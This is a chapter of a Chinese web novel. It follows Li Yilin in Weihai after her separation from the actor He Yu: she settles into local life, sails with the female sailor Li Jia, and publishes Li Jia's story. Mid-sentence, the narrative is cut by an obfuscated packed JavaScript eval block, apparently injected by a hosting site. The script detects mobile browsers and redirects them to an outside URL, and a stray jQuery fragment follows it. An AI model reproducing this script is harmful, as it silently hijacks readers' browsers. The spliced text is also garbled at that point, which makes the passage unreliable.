2


    伊林坐在卡车副驾上向外看。刚过下午，斜斜的太阳挂在浅淡云层上，像个生锈的锣。空旷贫瘠的戈壁滩一眼望不到头，下一个加油站要在400公里之后。为了省油，车内基本不开空调。她被羽绒服裹成一个球，缩在安全带后，有一搭没一搭跟司机聊着天。


    开阔单调的前路里，没有障碍，也没有任何熟悉的人和事。车顶上的小日历摇摇晃晃，进入她被光线刺入的视线范围。


    已是11月4号，明天就是何屿生日。庞大的粉丝群体会把祝他生日快乐的词条送上热搜，而她，是一个毫无干系的人。


    她掏出手机，在相册中翻找着。尽管在她的生日何屿毫无表示，但工作室总会祝她生日快乐。她明白，这是方华的选择。


    李伊林与何屿从未说过正式分手，伊林独自在外所做的女性群像报道，也让她回归曾经的专业新闻类媒体人行列。在她离开之后，何屿也从名利场里消失了。直到今年九月，她才看到属于他的资讯消息：何屿即将参演话剧《徒然之烬》。


    她自然为他高兴。这是他想做的事，也能渐渐让他远离声名附加来的一切。


    分别一年，他们都走上内心真正想走的道路。伊林很期待看见小剧场里的他。


    *


    在她刚离开时，方华会与她同步一些何屿动态，主要是健康相关。尽管他把自己锁在家里，跟谁都不说话，但确实不再嗜睡。伊林也曾担心这种自我封闭会不会让失眠症卷土重来，因此经常向经纪人问询何屿的睡眠状态，得到的答案总是令她安心。她也就不再问了。


    *


    刚离开何屿的那段时间，伊林离开上海，去往北方。一方面，她怕留在上海的自己会忍不住去找何屿。另一方面，她想换个环境，把之前没有写完的故事完成。


    她去了威海，在能看到海的地方租了房子。先开始，她停止不了的想念何屿，一遍又一遍的去看热恋期长长的微信对话，晚上失眠，早上很早就醒，一天睡着的时间不超过三小时。


    这是一个完全陌生的小城市，没有人认识她，也没有朋友可以对话。她每天躺在床上不想起来，连续失眠又让她掉进无知无觉的混沌。于是她把自己扔进写作里。她逼迫自己从床上爬起来，在能看见大海的落地窗前做了写字台，把堵在心中的难过与失落全部化为文字扔进文档。


    写作变成一种疗伤。她发现，她有好多话想对何屿说。一开始，她只是在倾泻痛苦，但后来，她又发现诸多怨恨。她怨恨何屿强迫自己迁就她的升职，怨恨方华不去强势的阻隔来自利希斯的一切，怨恨徐嘉理层层加深的恶意、莱恩·卡佩永无止境的贪婪、网络上公司里不怀好意的谣言叠加……而最终，最怨恨的人，依然是矛盾懦弱，搞砸一切的她自己。


    闷头写作的日子过了一个月，情绪渐渐有所好转。她终于可以收拾好自己，出门走走。在大海边她逼迫自己接受了这个现实。失去何屿，是她所做出的一系列错误选择，导致的必然结果。


    这是她应得的。


    *


    不用上班，没有朋友，从未离开职场的李伊林成了一个没有切实目标的自由人。为了对抗油然而生的茫然空落，她给自己设定了第一个目标：让自己融入海滨小城的当地生活。


    每天早上，她去海边晨跑，然后去菜场买菜，回家冲澡做早餐。而后她给自己榨杯果汁，坐在沙发里看看海。她也会控制不了的刷刷手机，在社交媒体上搜索何屿的消息。


    工作室经常发布一些何屿日常。他去了英国北部小镇惠特比，住在悬崖边上的古老城堡。天气晴朗时，他经常在窗边阅读；雨后黄昏，他也会漫步在湿漉漉的青石巷道。


    有时工作室会发布一些没有配文的图片。那些有关废墟的照片中，并没有他的影像。伊林想，这应该是何屿自己拍的。


    这是第一次，他将自己的隐居生活晾晒在大众之中。这是伊林熟悉的他，柔和又疏离的栖居在世界的某一个角落，丰富而自我的独自生活。伊林想，应该是方华听了她的建议，用这种记录起居的方式，让有关睡眠合同的爆料不攻自破。


    与此同时，何屿自己的微博不再更新。在热恋期，他会反常的发布一些意想不到的恋爱细节：伊林放在托盘里的棕色发圈，挂在衣架上、被阳光浸染的白色衬衫，她下班带回来的蓝色花束，等她回来的一桌晚餐……


    那段时间，伊林让自己戒断所有社交媒体，自然错过了恋人无声又可爱的日常表达。而现在，他所有的私人社媒停止更新，像座坟墓。


    *


    离别的痛苦过后，伊林又像二十出头的自己一样，再一次对何屿上瘾。去刷何屿工作室账号成了她的每日动作。每个周一，她会固定去询问方华何屿的生活近况，顺便告知一些有关自己的事。她觉得，她单方面的换了一种方式继续爱他。是让她自己更舒适，也更习惯的路径。


    远离他，理解他，爱着他。


    *


    在小城的生活慢慢步入正轨。她认识了一家三口的邻居，楼下的居委会主席一家，对面楼里养了好几只猫的奶奶，经常在下午散步时遇到的放学回家的小姑娘……


    这些原本陌生的近邻，都是在居委会认识的。这是个小小范围的民主单位，开会时她总是被远在外地的房东叫去顶替。大事小事都有涉及，为表公开透明，所有业主都要为社区决策提意见、参加讨论、投票表决。


    先开始她只把自己当个凑数的外来人，提一些不痛不痒的建议，讨论中能不说话就不说话，投票随大流。但开过几次会之后，她开始有了“当地人”的认同感，渐渐融入原本陌生的人群，认真提出更好的建议，也有了自己坚持的立场和观点，并在投票中忠于自我。


    一来二去，她与一些同组讨论的人变得熟络起来。年纪大一些的人会问起她的年纪，职业，家庭，为了避免麻烦，她只说自己离婚无孩，是写东西的，因为喜欢海边，来这里住一段时间。


    *


    进入十月的北方气温宜人，在假期迎来大批游客。生活在上海时，伊林并不喜欢去人多的地方，认为自己更喜欢远离人潮，一个人待着。但在一个悠然闲适的海滨小城落脚之后，伊林逐渐接受了人群带来的烟火气。她会去风靡社交媒体的火炬八街散步，也会在日渐热门的逍遥湾海滩边上漫无目的的走。有时候她会在操着各方口音的游客之中穿梭，毫不在意的背着手，像个无所事事到处闲逛的中年人。


    在这些与海潮声相伴的时间里，伊林的心里是完全放空的，就像把包袱一件件的卸掉。洗刷掉那些负在肩上的层层重压，对于现在的自己来说，是必须要做的。


    在她完全放空的思绪中，有关利希斯的一切逐渐远去，何屿出现的频次却越来越高。那些深夜的对谈，温暖的拥抱，亲密的抚摸，热烈的亲吻，像一条条美丽的蛇，入侵并盘踞在她心中的所有角落。离别的痛苦淡去，再淡去，有关爱的暖意却越发鲜活。她放任自己活在过去里。


    或许这样是不对的，分别本应是一种惩罚，却在此时成了解脱。所有的担忧不复存在，爱却分毫未减。


    她知道这样的爱来自何处。那是一座坚不可摧的阳光房，由何屿亲手建成，根植于心，永不坍塌。


    *


    在对恋人的怀念中，伊林想写下一些什么。这亦是何屿一直想让她做的事。


    不同于之前的情绪发泄，她需要正经写下一个故事。于是她翻出停滞很久的小说，本想继续写下去，但那位依旧囿于职场的主人公此时让她提不起一点兴趣。离开了有毒的环境之后，她不想再看到与之相关的任何事，更别提继续去写。


    放弃虚构与编造，眼前剩下另一条路。回归她八年前的写作路径：去记录万千种不同的生活。


    方向定下，唯一需要的就是寻找。她开始仔细观察周围的人，赶海的人，散步的人，忙碌的人，茫然的人。她试着写下一些陌生人的白描，便利店里上夜班的姑娘，看起来文文静静，并不多话，却有一个文着花臂的男朋友。海滩边上做烧烤摊的中年男人，见谁都很客气，会跟独自一人来吃夜宵的伊林聊聊天，却从不提自己的事。总一个人去海边篮球场赤着上身打球的高中生，长得人高马大，平日里喜欢一帮同学吵吵闹闹，打球的时候却总是很沉默……


    渐渐的，她会在心中脑补他们的故事。花臂男是便利店姑娘的高中同学，两个人组了支乐队，下了夜班就去演出；烧烤店老板老婆带着孩子远在北京，女儿在上大学，老婆在大学城开烧烤分店；打篮球的男孩成绩只是中等，却一心想通过篮球事业远走高飞，带着刚谈的女朋友去看看外面的世界……


    *


    天气渐渐转冷。气候反常，初雪也来得比往年早。十一月的冬日海岸被浅浅一层小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760026|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雪覆盖，更显晶莹剔透。


    是在飘着小雪的这一天，在改做海鲜火锅的烧烤店里，李伊林遇到了一位又高又壮的女水手。她叫李佳。


    也是在这一天，李伊林停止幻想，跟着这位与她同姓的陌生人踏上船去，开始记录她从未体验过的，属于另一个人的生活。


    *


    跟着水手踏上大船，是踏入了一个完全陌生的世界。刚开始的新鲜劲儿过去之后，只剩下艰苦枯燥的船上生活。太阳落山后，气温会就走到零下。在一天的劳作完成后，船员们总喜欢凑到相对温暖的活动室里玩游戏、喝酒、侃大山。这也是伊林最喜欢的时刻。她学会了掷色子，出老千，学会了船员自创的奇怪舞蹈，也学会了编些真假参半的故事，讲给那些明显同样在吹牛的陌生人。


    热闹的玩乐时光结束，她会回到与李佳同住的窄小船舱。洗漱完毕，躺进床铺里，她们总会再闲聊一阵。伊林知道了一些有关李佳的片段。从小长得太过高壮，是村子里总被调侃的存在。被家人早早安排结了婚，只是为了给弟弟换个媳妇。丈夫家暴，她从来不让着，引来的却是村子里“要让她听话”的兄弟群殴。


    某一个晚上，在被群体霸凌的屈辱之后，李佳决定出走。凭着出色的身体条件，她成为全村第一个踏上远方大船的女水手。她离开陆地，随着海浪走遍南北，见识到更大、更广阔的海洋与陆地。这份看似困于海上的生活，反而给了她最轻盈无际的自由。


    *


    晚上睡觉时，伊林总会抱着何屿曾亲手为她穿上的羊绒开衫。阴冷潮湿的环境里，她十分小心温柔的保存着它，把它当成某种信物般随身携带。上岸时，她总要第一时间找到最好的干洗店，让它回归柔软蓬松的最佳状态。她也会随身携带属于何屿的乌木沉香。她总是牢牢抓住仅有的、属于何屿的东西。唯有这样，她才能在漂泊冬夜里睡个好觉。


    这段旅程持续了一个月。她在船上发了高烧，被李佳送到青岛最好的医院。


    “好好养病，别没苦硬吃。”这是这位壮实的女水手留给她的最后一句话。在高烧的迷糊中，她甚至都没来得及与她道别。


    病好之后，伊林独自一人回到威海。回到家中，她洗了个漫长的热水澡，再为自己泡好一杯热茶。


    一段出走与归来，给了她不假思索的冲动。李伊林坐在面朝冬日大海的写字台前，打开空白文档，写下第一篇属于陌生人的故事。


    她写得很快，也不加修改。她在用笔尖与记忆赛跑。


    *


    三天时间，她完成了属于李佳的故事。将结尾稍作修改之后，她将它发表在长久未登录的社交媒体上。


    “李佳走出了禁锢于此的过去，跟随海浪，去往一个又一个陌生的城市。每一次上岸，都像一次新生。那些漫长的、艰辛的、孤独的劳作，都只是为了去享受下一个无法预测的未来。


    或许有一天，她会遇见一个人，可以让她就此停留在岸上。但她更明白的是，她会做的，只是停留。安逸的温暖向来只是短暂，就像阴暗人性在表象裹有的一层蜜糖。出走才是属于她的永恒不变。


    李佳迷恋的也并非是出走本身，而是一种的流动的自我认同。在她出生的村子里，过于高壮的女孩是不被待见、受尽嘲笑的。但在她到达的下一座城市，高大健壮的女孩，就成了一种被无数人心生向往的健康之美。


    在无数次出走与抵达之间，李佳得以明白一个事实：美与丑，接纳与拒绝，得到与失去，向往与失望，都只是一场开盲盒的游戏。没有什么标准是会永久框住她的。也没有什么目的地是必须达成并牢牢攫住的。她需要做的，不过是享受这种过程。


    ‘如果你在某个地方活得不开心，就来当个水手吧。毕竟水手可以随便上岸，还不需要任何考试。’


    对于水手来说，上岸不过是一种停靠。它只是一个海浪将你推向的站点，无需思考，是大自然给你的随机决断。


    而海岸也是无际的。一座城市，只不过是无数海岸中的其中之一。离开它，与到达它，不过是易如反掌。


    谢谢李佳，带我上岸。”


    *


    发出之后，伊林合上电脑，站起身来，凝望冬日大海。


    这是一种酣畅淋漓的心满意足。


    何屿，我终于回到了属于你的，昨日的世界。


    你会读到吗？